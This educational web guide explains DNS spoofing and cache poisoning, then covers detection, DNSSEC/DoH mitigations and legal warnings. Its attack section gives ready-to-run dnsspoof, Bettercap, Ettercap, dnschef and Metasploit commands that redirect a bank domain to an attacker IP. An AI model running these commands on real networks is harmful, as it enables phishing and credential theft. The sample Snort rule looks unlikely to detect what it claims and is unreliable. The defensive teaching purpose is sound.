DNS Spoofing (also called DNS cache poisoning) is a type of cyberattack where an attacker corrupts the Domain Name System (DNS) cache by injecting fraudulent DNS records. When users query for a legitimate domain (e.g., bank.com), the poisoned DNS cache returns a malicious IP address controlled by the attacker. Victims are then redirected to fake websites (phishing pages) designed to steal login credentials, financial information, or distribute malware. DNS spoofing is a form of Man-in-the-Middle (MitM) attack that exploits the lack of integrity validation in traditional DNS (no cryptographic signatures).
Attack Prevalence: DNS spoofing attacks increased 200% in 2023 (IDC). 75% of organizations experienced DNS-based attacks in 2023, with an average cost of $1.2 million per incident. The Kaminsky attack (2008) exposed fundamental DNS protocol weaknesses, leading to the development of DNSSEC (DNS Security Extensions).
Common targets of DNS spoofing attacks:
Victim requests domain (www.bank.com). DNS resolver queries authoritative DNS server.
Attacker injects fake DNS response before legitimate response, poisoning resolver cache.
Victim is redirected to attacker-controlled IP (fake website).
Fake website captures login credentials, financial data, or delivers malware.
// DNS spoofing attack chain (technical flow)
[Victim] → [DNS Resolver] → [Authoritative DNS Server]
↑
[Attacker injects fake DNS response]
↓
Victim resolves www.bank.com → 203.0.113.5 (attacker server)
↓
Victim visits fake banking site (looks identical to legitimate)
↓
Victim enters username/password → credentials captured by attacker
// Kaminsky attack (2008) - DNS cache poisoning technique
Attacker sends DNS query for non-existent subdomain (ns1.bank.com)
Attacker floods resolver with forged responses (guessing TXID)
When resolver caches forged NS record, attacker controls entire domain
// DNS spoofing with dnsspoof (dsniff suite)
echo "*.bank.com 203.0.113.5" > dns.spoof.hosts
sudo dnsspoof -i eth0 -f dns.spoof.hosts
// DNS spoofing with Bettercap (modern tool)
sudo bettercap -eval "set dns.spoof.domains bank.com; set dns.spoof.address 203.0.113.5; dns.spoof on"
// DNS spoofing via ARP spoofing (local network)
# First perform ARP spoofing to become MitM
sudo ettercap -T -M arp:remote /192.168.1.105// /192.168.1.1//
# Then redirect DNS queries (ettercap filter)
sudo ettercap -T -M arp:remote -F dns_spoof.filter
Exploits DNS protocol weakness (predictable transaction IDs - TXID). Attacker floods resolver with forged responses, guessing TXID. Successful poisoning caches fraudulent NS record for entire domain. Affects all DNS resolvers (BIND, Microsoft DNS, Unbound) before source port randomization (2008). Mitigation: DNSSEC, source port randomization.
Attacker performs ARP spoofing (becomes Man-in-the-Middle) on local network. Intercepts all DNS queries from victim, returns fake responses (DNS spoofing) without poisoning cache. No TXID guessing needed - attacker controls response. Common on public Wi-Fi.
Attacker compromises home/SOHO router (default credentials, firmware vulnerability). Modifies router's DNS settings to malicious DNS server (e.g., 203.0.113.53). All devices on network use malicious DNS server, receiving spoofed responses. Affects entire household/office.
Attacker sets up malicious DNS server (DHCP option 6) via rogue access point (Evil Twin). Victim connects to fake Wi-Fi, receives malicious DNS server via DHCP. All DNS queries answered with spoofed IPs.
Attacker spoofs source IP (victim's IP) in DNS query to open resolver. Open resolver sends large response to victim (amplification). Combined with DNS spoofing for DDoS + redirection.
Malware (e.g., DNSChanger) modifies local hosts file (C:\Windows\System32\drivers\etc\hosts) or DNS resolver settings. Redirects specific domains to malicious IPs. Persists across reboots.
Attacker on network path (ISP, compromised router, BGP hijacking) intercepts and modifies DNS responses in transit. Affects large user bases (regional or national).
ARP spoofing + DNS spoofing combined. Uses etterfilter to compile DNS spoofing filters. Command: sudo ettercap -T -M arp:remote -F dns_spoof.filter. Features: real-time packet modification, plugin system.
Modern MitM framework with built-in DNS spoofing module. Command: sudo bettercap -eval "set dns.spoof.domains *.bank.com; set dns.spoof.address 203.0.113.5; dns.spoof on". Supports REST API, caplets (automation), and HTTP/HTTPS proxy.
Legacy DNS spoofing tool from dsniff suite. Requires ARP spoofing first (arpspoof). Command: echo "*.bank.com 203.0.113.5" > dns.spoof.hosts; sudo dnsspoof -i eth0 -f dns.spoof.hosts.
Python-based DNS proxy for DNS spoofing and testing. Supports regex matching, wildcard domains, and multiple record types (A, AAAA, MX, CNAME). Command: sudo dnschef --fakedomains bank.com --fakeip 203.0.113.5.
Metasploit module for DNS spoofing. Requires ARP spoofing or network position. Command: use auxiliary/spoof/dns/spoof; set DOMAIN bank.com; set HOST 203.0.113.5; run.
Legitimate DNS forwarder can be configured for DNS spoofing (educational). Configuration: address=/bank.com/203.0.113.5. Used in lab environments for DNS spoofing testing.
This demonstration simulates DNS cache poisoning, redirecting victims to a fake website:
This is a simulated demonstration. Real DNS spoofing can affect all users of a DNS resolver. Protect yourself with DNSSEC (DNS Security Extensions), use DNS-over-HTTPS (DoH) or DNS-over-TLS (DoT), and avoid public Wi-Fi for sensitive transactions.
DNSSEC (DNS Security Extensions) cryptographically signs DNS responses. Validating resolvers detect spoofed responses (signature mismatch). Use DNSSEC-validating resolvers (1.1.1.1, 9.9.9.9, Quad9). Check if domain supports DNSSEC (dig +dnssec example.com).
Query DNS records from multiple independent resolvers (Google 8.8.8.8, Cloudflare 1.1.1.1, OpenDNS 208.67.222.222). Discrepancies (different IPs) indicate potential DNS spoofing.
HTTPS websites with valid SSL/TLS certificates (trusted CA) are harder to spoof. Fake websites have invalid certificates (self-signed, expired, mismatched domain). Browser certificate warnings indicate potential DNS spoofing.
Detect DNS cache poisoning attempts: multiple DNS responses with same query ID (TXID), high rate of unsolicited DNS responses, DNS response mismatches, and known attack patterns (Kaminsky).
DNS spoofing attacks often have shorter response times than legitimate authoritative responses. Monitor for anomalies in DNS response latency (RTT). Legitimate: 20-100ms; Spoofed: 1-10ms (same network).
// DNS spoofing detection commands and techniques
# Query multiple resolvers (detect discrepancies)
dig @8.8.8.8 example.com A +short
dig @1.1.1.1 example.com A +short
dig @208.67.222.222 example.com A +short
# Compare responses - different IPs may indicate spoofing
# Check DNSSEC validation (detect spoofed responses)
dig +dnssec example.com
# Look for "ad" flag (authenticated data) and RRSIG records
# Check DNS cache for poisoning (Windows)
ipconfig /displaydns
# Look for unexpected IP addresses for known domains
# Clear DNS cache (remediate suspected poisoning)
ipconfig /flushdns # Windows
sudo systemd-resolve --flush-caches # Linux (systemd)
sudo dscacheutil -flushcache # macOS
# Monitor DNS responses (tcpdump)
sudo tcpdump -i eth0 -n port 53
# Look for unsolicited DNS responses (no corresponding query)
# Snort rule for DNS cache poisoning detection
alert udp any any -> any 53 (
msg:"DNS cache poisoning attempt - Kaminsky attack";
content:"|00 00 00 00 00 00|";
pcre:"/^[0-9a-f]{4}/";
sid:2000001;
rev:1;
)
Deploy DNSSEC on authoritative nameservers (signing zones). Use DNSSEC-validating resolvers (1.1.1.1, 9.9.9.9, Quad9, Google Public DNS). Prevents DNS cache poisoning (spoofed responses fail signature validation). Critical for .gov, .bank, .health TLDs.
Encrypts DNS queries between client and resolver (TLS 1.3). Prevents on-path (MitM) DNS spoofing. Use Cloudflare 1.1.1.1 (DoH), Google 8.8.8.8 (DoT), Quad9 9.9.9.9. Enable in browsers (Firefox, Chrome) and operating systems (Windows 11, iOS 14+, Android 9+).
HSTS forces browsers to use HTTPS for all connections to your domain. Prevents SSLStrip attacks even if DNS is spoofed. Preload HSTS (hstspreload.org). HSTS protects against MitM after DNS spoofing.
VPN encrypts all traffic (including DNS) between device and VPN server. Prevents local network DNS spoofing (ARP spoofing, rogue AP, malicious DNS server). Choose reputable VPN provider with DNS leak protection.
Mobile apps and browsers can implement certificate pinning (hardcode expected certificate). Prevents accepting fake certificates from spoofed websites. Use HPKP (deprecated), Expect-CT, or custom pinning.
Configure DNS resolvers (BIND, Unbound) with rate limiting to prevent cache poisoning flooding attacks. Limits identical DNS responses per second. Implement source port randomization (ephemeral port range).
Change default router credentials (admin/admin). Disable remote administration. Update router firmware. Configure routers to use DNSSEC-validating resolvers (1.1.1.1, 9.9.9.9). Enable DNS over TLS (DoT) if supported.
Best Practice - Defense-in-Depth for DNS Security: Deploy DNSSEC (authoritative signatures + validating resolvers) to prevent DNS cache poisoning. Use DNS-over-HTTPS (DoH) or DNS-over-TLS (DoT) to encrypt DNS queries (prevent MitM). Enable HSTS preloading for web applications to enforce HTTPS even after DNS spoofing. Use VPN on public Wi-Fi to protect against local DNS spoofing (ARP spoofing, rogue AP). Monitor for DNS anomalies (multiple resolvers, SSL certificate validation). No single control prevents all DNS spoofing attacks - layered defense is essential.
DNS spoofing (DNS cache poisoning, DNS hijacking) is illegal in all jurisdictions with severe criminal and civil penalties. Unauthorized modification of DNS responses violates computer crime, wiretapping, and anti-hacking laws:
DNS spoofing (DNS cache poisoning, DNS hijacking, DNS redirection) is illegal in all jurisdictions and carries severe criminal and civil penalties:
Critical Notice: This guide is provided for educational and defensive purposes to help security professionals, network administrators, and defenders understand DNS spoofing threats for legitimate activities: protecting DNS infrastructure, implementing DNSSEC, deploying DNS-over-HTTPS (DoH), developing detection capabilities (IDS signatures), and conducting authorized penetration testing (with written permission).
Performing DNS spoofing attacks (cache poisoning, DNS hijacking) on networks you do not own or without explicit written authorization is criminal activity with severe consequences: federal felony charges (CFAA, Wiretap Act), lengthy imprisonment (10-20 years), asset forfeiture, permanent criminal record, civil liability (victims can sue for millions), and professional sanctions. Law enforcement agencies (FBI, Secret Service, Europol) actively investigate and prosecute DNS spoofing attacks, including DNS cache poisoning campaigns (Kaminsky attack variants), DNS hijacking (router compromises, ISP-level interception), and DNS-based phishing operations.
If you suspect DNS spoofing: Query multiple DNS resolvers (8.8.8.8, 1.1.1.1, 9.9.9.9) for discrepancies. Use DNSSEC-validating resolvers (1.1.1.1, 9.9.9.9). Enable DNS-over-HTTPS (DoH) in browser. Clear DNS cache (ipconfig /flushdns). Use VPN on public Wi-Fi. Report DNS spoofing to ISP, CISA (cisa.gov/report), and FBI IC3 (ic3.gov).
ICANN (Internet Corporation for Assigned Names and Numbers) DNSSEC deployment guide for authoritative nameservers and resolvers. Industry standard for DNS security.
Cloudflare, Google, and Quad9 documentation for DNS-over-HTTPS (DoH) and DNS-over-TLS (DoT). Prevents MitM DNS spoofing on local networks.
Submit domains to HSTS preload list (Google maintained). Forces browsers to use HTTPS for all connections, mitigating SSLStrip after DNS spoofing.
Course covering DNS security, DNSSEC deployment, and DNS spoofing detection for cloud environments (AWS Route53, Azure DNS).
MITRE ATT&CK framework tactics: T1568 (Dynamic Resolution), T1557 (Adversary-in-the-Middle), T1204 (User Execution).
DNS Operations and Research Center (OARC) - DNS security research, DNSSEC deployment metrics, and DNS spoofing detection methodologies.
Free DNSSEC-validating DNS resolver (9.9.9.9) that blocks malicious domains. Protects against DNS spoofing and DNS-based phishing. Supports DoH/DoT.
US Department of Justice (DOJ) press releases on DNS spoofing prosecutions (DNSChanger malware, DNS hijacking, router compromises).